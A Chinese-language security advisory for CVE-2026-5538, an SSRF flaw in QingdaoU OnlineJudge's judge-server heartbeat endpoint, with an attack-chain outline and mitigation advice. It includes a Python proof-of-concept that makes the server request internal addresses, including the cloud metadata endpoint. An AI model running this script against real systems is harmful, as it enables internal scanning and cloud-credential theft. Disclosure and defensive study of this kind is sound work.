IPBUF安全漏洞报告
English
CVE-2026-5538 CVSS 6.3 中危

CVE-2026-5538: QingdaoU OnlineJudge SSRF漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5538
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
QingdaoU OnlineJudge

相关标签

SSRFQingdaoU OnlineJudge服务端请求伪造中危漏洞CVE-2026-5538

漏洞概述

QingdaoU OnlineJudge是一款广泛使用的在线判题系统。该系统在1.6.1及之前的版本中存在一个严重的安全漏洞,被分配为CVE-2026-5538。该漏洞具体位于`JudgeServer.service_url`文件的`service_url`函数中,涉及`judge_server_heartbeat`端点。由于系统未对用户输入的URL参数进行充分的验证和过滤,攻击者可以通过操纵该参数发起服务端请求伪造(SSRF)攻击。此漏洞允许远程攻击者利用受害服务器作为代理,向内网或外部网络发送恶意请求,可能导致敏感信息泄露、内网端口扫描或进一步的内网渗透攻击。

技术细节

该漏洞的根本原因在于QingdaoU OnlineJudge在处理判题服务器心跳包时,对`JudgeServer.service_url`文件中的`service_url`函数参数缺乏有效的安全校验机制。根据CVSS向量分析,攻击者需要拥有低权限账号(PR:L),这通常意味着攻击者需要注册一个判题节点或获取相应的认证Token。在`judge_server_heartbeat`端点接收心跳请求时,系统直接信任了客户端提交的`service_url`值,并未将其与内网黑名单进行比对或限制为仅允许公网地址。攻击者可以利用这一缺陷,构造包含内网敏感地址(如127.0.0.1、169.254.169.254用于云元数据窃取、或内网数据库端口)的请求包。由于服务器会主动向该地址发起连接以确认服务状态,攻击者即可利用服务器的身份对内网进行端口扫描、服务指纹识别或读取敏感文件。尽管当前CVSS评分对CIA影响评估为低,但在复杂的内网环境中,SSRF往往可以作为跳板,导致更严重的横向移动和数据泄露风险。

攻击链分析

STEP 1
侦察与访问
攻击者发现目标系统运行QingdaoU OnlineJudge,并通过某种方式获取了低权限账户或用于注册Judge Server的Token(满足PR:L要求)。
STEP 2
构造恶意载荷
攻击者构造一个HTTP POST请求发往`/judge_server_heartbeat`端点,将`service_url`参数设置为内网敏感地址(如127.0.0.1或云元数据地址)。
STEP 3
触发漏洞
目标服务器接收心跳包,解析`service_url`,并未进行校验即由服务端向该内网地址发起HTTP请求。
STEP 4
信息收集与利用
根据响应时间或内容差异,攻击者判断内网端口状态或获取敏感数据(如云服务凭证),实现SSRF攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def poc_ssrf(target_url, internal_url): """ PoC for CVE-2026-5538: QingdaoU OnlineJudge SSRF """ endpoint = "/judge_server_heartbeat" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-5538-Scanner/1.0" } # Payload containing the internal URL to be accessed by the server payload = { "service_url": internal_url, # e.g., "http://127.0.0.1:22" or "http://169.254.169.254/latest/meta-data/" "token": "valid_or_placeholder_token" # Authentication token if required } try: response = requests.post(target_url + endpoint, json=payload, headers=headers, timeout=10) print(f"[+] Request sent to {target_url}") print(f"[+] Targeted internal URL: {internal_url}") print(f"[+] Response Status Code: {response.status_code}") print(f"[+] Response Content: {response.text[:200]}...") if response.elapsed.total_seconds() > 2: print("[!] Possible timeout, indicating the port might be open (filtering)") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://example-onlinejudge.com" # Example attack vector: attempting to access localhost internal_target = "http://127.0.0.1:80" poc_ssrf(target, internal_target)

影响范围

QingdaoU OnlineJudge <= 1.6.1

防御指南

临时缓解措施
在无法立即升级代码的情况下,建议在网络层部署防火墙规则,限制应用服务器只能访问必要的外网地址,并阻断其对内网网段(特别是127.0.0.1和169.254.169.254)的访问。同时,加强对Judge Server注册流程的审核,确保只有受信任的节点才能连接心跳接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表